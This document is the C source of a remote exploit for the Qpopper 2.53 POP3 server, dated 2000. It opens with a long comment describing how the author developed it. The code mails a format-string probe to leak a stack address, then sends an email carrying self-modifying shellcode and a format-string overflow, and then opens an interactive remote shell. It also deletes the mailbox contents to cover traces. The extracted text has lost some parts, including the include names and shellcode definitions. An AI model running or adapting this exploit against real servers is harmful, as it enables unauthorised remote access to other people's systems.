/* * Q-POP 2.53 The real smash. For linux. * (C) 2000 Axur Communications Inc. * 26 May csh@axur.org * ---------- * * Some notes about this: (you may not see this ok, because I use wide screen width. Let it scroll) It's now more than 40 hours sleepless work on this. I hope you enjoy this release. I'll explain why this took that long. First, the directives to use this exploit: Ingredients: 1 - half neuronium. Even your blond girl friend can do that. 2 - a valid pop account. Now the hardest part: a. you should be able to find out the smtp server that handle this account, as well its host for pop query. b. you must be smart enough to clean your mess. c. do not blame me for that. By the way, I not responsible for your attitudes. Use this to audit your system, not your neighbor's one. 3 - edit this file (look main void), to exploit your box. Now, some theory (I love that). It started May 24th, 7pm. I saw prizm post on buqtraq, so I wanted to see this little baby smashing his ass by my eyes, so I started the action. After smashing it locally, some time spent. I got several vfprintf stack fault, then I realized that it was a ibc5 bug, looked forward to it. Posted this note right away to buqtraq, hope it'll published. ('til now, nothing). After this little, incident, a lot of more were defacing my coding hungryness. I made a 20seconds shellcode to the first tries, then I realized sendmails filters some characters. In some tests, reveals that 0x80...0x9f characters is filtered by sendmail on header tags. Ohh god, let me apply my old virii technics I learned reading the famous 40hex ;). I put myself into a challenge now. Self-mutanting code is the only solution to get around, as most "movs" opcodes use those range of chars, as well the int $0x80 (cd 80). okay. I made the shell quite simple. Some push, pop, inc, and inner looping technics got it done. Ow, by the way, the sun arised. its 7am. Time to smash remotely. Oh my god, the From: statement as prizm put in his exploit filters even 0xff, my stack range is now 0xbffffe51c ;). I sent prizm an email regarding this quote, and went to bed to have "some sleep". Its now 7:30. 11am I woke up thinking about how to fools the "From:" statement, letting it saving 0xff chars. Time to download sendmail's source code for a closer analisys. Damn. I forgot how sendmail's code is messy! Well, at this time, 3pm and I am giving up this shite. No answers from prizm. He answered my on my quote to libc.5, and he said he had a working exploit. I thought he is a liar. It's now 6pm and I should be writing a monography about steganographic methods. But this is getting me mad. I started to play with From: headers, tried to solve the problem with mime, but no deal. Well, finally I found out a solution. sendmail forget about domain when the right email address is between "<>". So I can throw 0xff chars after a bracked email. Now, to the real thing :) Exploing remotely from now, is trivial, but not the return address. I realized pretty fast a way around this. Why not sending a probe message with a "%p" which should point to the "after" stack address? So I did it. It now calculates the exactly return address to shell code. Then its now 2am 26th May. Fully documented (not that much), but a almost script kiddie exploit. Thank you for your attention, Gustavo Scotti * * */ #include #include #include #include #include /* gethostbyname */ #include /* inet_ntoa */ #include /* these functions were taken from axur's Tamanduah's project. should give appropriate credits. */ #define OK 0 #define INVALID_HOST -1 #define INVALID_SOCKET -2 #define CONNECTION_REFUSED -3 typedef unsigned char u8; typedef unsigned short u16; typedef unsigned long u32; int tcp_connect( daddr, dest) u32 daddr; u16 dest; { struct sockaddr_in server; int new; if (daddr == (u32)INVALID_HOST) return INVALID_HOST; server.sin_family = AF_INET; server.sin_port = htons( dest); server.sin_addr.s_addr = htonl(daddr); new = socket( AF_INET, SOCK_STREAM, 0); if (new<0) return INVALID_SOCKET; if (connect( new, (struct sockaddr *)&server, sizeof( server))<0) return CONNECTION_REFUSED; return new; } u32 dns2ip( host) u8 *host; { struct hostent *dns; u32 saddr; dns = gethostbyname( host); if (!dns) return INVALID_HOST; bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length); return ntohl(saddr); } int strexplode( u8 *toparse, u8 **argv, int max_argc, u8 *separators) { int arg = 0; u8 *tmp; tmp = toparse; while (arg\n"); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"250 ", 4)) { printf("mx_connect, stage 3 - MAIL FROM. Error. I believe they are denying localhost. Change the source.\n"); exit(0); } sprintf(tmp,"RCPT TO: <%s>\n", mx_mail); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"250 ", 4)) { printf("mx_connect, stage 4 - RCPT TO. Error. You sure this email exists? (%s).\n", mx_mail); exit(0); } sprintf(tmp,"DATA\n"); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"354 ", 4)) { printf("mx_connect, stage 5 - DATA. Error. Denying it?!?! What a loser.\n"); exit(0); } return fd; } mx_probe() { u8 tmp[1024]; int fd, n; fd = mx_connect(); sprintf(tmp, "X-UIDL: qpop-probe"); write(fd, tmp, strlen(tmp)); sprintf(tmp, "\nFrom: %s", "%p"); write(fd, tmp, strlen(tmp)); sprintf(tmp, "\nSubject: Wanna play?\n\n" "Tell me a number and I'll show you the truth!"); write(fd, tmp, strlen(tmp)); sprintf(tmp,"\n.\n"); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"250 ", 4)) { printf("probe_mx, End of Message. Error. Mail cannot be delivered. Check message (verbose).\n"); return 0 ; } sprintf(tmp,"QUIT\n"); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"221 ", 4)) { printf("probe_mx, stage 7 - QUIT. Error. Cannot quit? Weirdo.\n"); return 0 ; } close(fd); } mx_egg() { u8 tmp[1024]; int fd, n; fd = mx_connect(); sprintf(tmp, "X-UIDL: %s%s%s", decryptshellcode, mutatedshellcode, shell); write(fd, tmp, strlen(tmp)); printf("egg size %d bytes\n", strlen(decryptshellcode)+strlen(mutatedshellcode)+strlen(shell)); sprintf(tmp, "\nFrom: %s", "%.950d%.912d"); write(fd, tmp, strlen(tmp)); for (n=0;n<25;n++) write(fd, &ret_addr, 4); sprintf(tmp, "\nSubject: How is my little baby?\n\n" "Did it birth?! How cute!"); write(fd, tmp, strlen(tmp)); sprintf(tmp,"\n.\n"); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"250 ", 4)) { printf("mx_egg, End of Message. Error. Mail cannot be delivered. Check message (verbose).\n"); return 0 ; } sprintf(tmp,"QUIT\n"); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"221 ", 4)) { printf("mx_egg, stage 7 - QUIT. Error. Cannot quit? Weirdo.\n"); return 0 ; } close(fd); } pop_connect( int *nmsg) { u8 tmp[4096]; int fd,n,i, msgid; u32 addr; addr = dns2ip(pop_host); if (addr==0xfffffff) { printf("pop host not found.\n"); exit(0); } fd = tcp_connect(addr, pop_port); if (fd<=0) { printf("pop host connection refused (%d)\n", pop_port); exit(0); } /* reads first banner */ n = read(fd, tmp, sizeof(tmp)); if (verbose) printf("%s", tmp); if (!strstr(tmp,"QPOP (version 2.53)")) { printf("pop_connect, stage 1 - This version is not exploitable.\n"); return 0 ; } /* check user */ sprintf(tmp,"USER %s\n", pop_user); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"+OK ", 4)) { printf("clean 1 - USER. Error. Is your account valid?.\n"); return 0 ; } /* check pass */ sprintf(tmp,"PASS %s\n", pop_pass); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (verbose) printf("%s", tmp); if (strncmp(tmp,"+OK ", 4)) { printf("clean stage 2 - PASS. Error. Password mismatch.\n"); return 0 ; } else { u8 *arg[6]; strexplode(tmp, arg, 6, " "); *nmsg = atoi(arg[3]); } return fd; } pop_clean() { u8 tmp[4096]; int fd, i, n, nmsg; fd = pop_connect(&nmsg); if (!nmsg) { printf("no messages on server...\n"); close(fd); return; } printf("you have %d messages, deleting...\n", nmsg); for (i=1;i<=nmsg;i++) { printf("%d..", i); fflush(stdout); sprintf(tmp,"DELE %d\n", i); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (strncmp(tmp,"+OK ", 4)) { printf("clean stage 3 - DELE. Error. ?????.\n"); exit(0); } } printf("done\n"); sprintf(tmp,"QUIT\n"); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (strncmp(tmp,"+OK ", 4)) { printf("clean stage 4 - QUIT. Error. ?????.\n"); exit(0); } close(fd); } check_delivery() { u8 tmp[4096]; int fd,n,i, nmsg; redo: fd = pop_connect(&nmsg); if (!nmsg) { printf("no messages on server...\n"); close(fd); printf("sleeping 5 seconds...\n"); sleep(5); goto redo; } /* take last message, which must be the exploit */ sprintf(tmp,"RETR %d\n", nmsg); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (strncmp(tmp,"+OK ", 4)) { printf("check_delivery stage 3 - RETR. Error. ?????.\n"); return 0 ; } else { u8 *param[3], head[128], *xuidl; n = strexplode(tmp, param, 3, " "); n = atoi(param[1]); read(fd, tmp, n); tmp[n]=0; printf("checking dependencies...\n"); xuidl = strstr(tmp, "X-UIDL: "); if (!xuidl) { printf("check_delivery stage 4 - Error looking tag X-UIDL\n"); return 0 ; } xuidl+=8; for (i=0;i0) { fd_set fds; /* do a simple xit, very fast.. ;) I luv unix */ FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(fd, &fds); select(fd+1, &fds, NULL, NULL, NULL); if (FD_ISSET(0, &fds)) { n = read(0, tmp, sizeof(tmp)); if (n>0) write(fd, tmp, n); } if (FD_ISSET(fd, &fds)) { n = read(fd, tmp, sizeof(tmp)); if (n>0) write(1, tmp, n); } } printf("out!\n"); close(fd); return 1; } pop_getaddr() { u8 tmp[4096]; int fd, i, n, nmsg; fd = pop_connect(&nmsg); if (!nmsg) { printf("no messages on server...\n"); exit(0); } sprintf(tmp,"EUIDL %d\n", nmsg); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (strncmp(tmp,"+OK ", 4)) { printf("pop_getaddr stage 1 - EUIDL error.\n"); exit(0); } else { u8 *arg[6]; strexplode(tmp, arg, 6, " "); ret_addr = 0; sscanf(arg[5], "%x", &ret_addr); if (!ret_addr) { printf("pop_getaddr stage 2 - cannot take address value, great possibility they are patched\n"); exit(0); } ret_addr-=2110; /* magic buffer size :P */ } sprintf(tmp,"DELE %d\n", nmsg); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (strncmp(tmp,"+OK ", 4)) { printf("clean stage 3 - DELE. Error. ?????.\n"); exit(0); } sprintf(tmp,"QUIT\n"); write(fd, tmp, strlen(tmp)); n = read(fd, tmp, sizeof(tmp)); tmp[n]=0; if (strncmp(tmp,"+OK ", 4)) { printf("clean stage 4 - QUIT. Error. ?????.\n"); exit(0); } printf("done\nReturn address: %x\n", ret_addr); close(fd); } main(int argc, char **argv) { int i; printf("Q-POP 2.53 exploitation by Axur Communications Inc.\n" "(C)2000, csh@axur.org\n" "Thanks to prizm@resentment.org and b0f for finding this bug\n\n" ); /* change here... */ mx_host = "localhost"; mx_mail = "lamer@localhost"; pop_host = "localhost"; pop_user = "lamer"; pop_pass = "lamepwd"; /* end of changing... */ verbose=0; printf("Checking veracity user/pass, and removes its mail (you won't need them anyway)..."); fflush(stdout); pop_clean(); printf("Sending probing email..."); fflush(stdout); mx_probe(); if (strcmp(mx_host, pop_host)) { printf("sleeping 4 (mx_host!=pop_host)..."); fflush(stdout); sleep(4); } pop_getaddr(); printf("Sending egg email..."); fflush(stdout); mx_egg(); printf("Checking delivery..."); fflush(stdout); if (strcmp(mx_host, pop_host)) { printf("sleeping 4 (mx_host!=pop_host)..."); fflush(stdout); sleep(4); } check_delivery(); } /* www.hack.co.za [27 September 2000]*/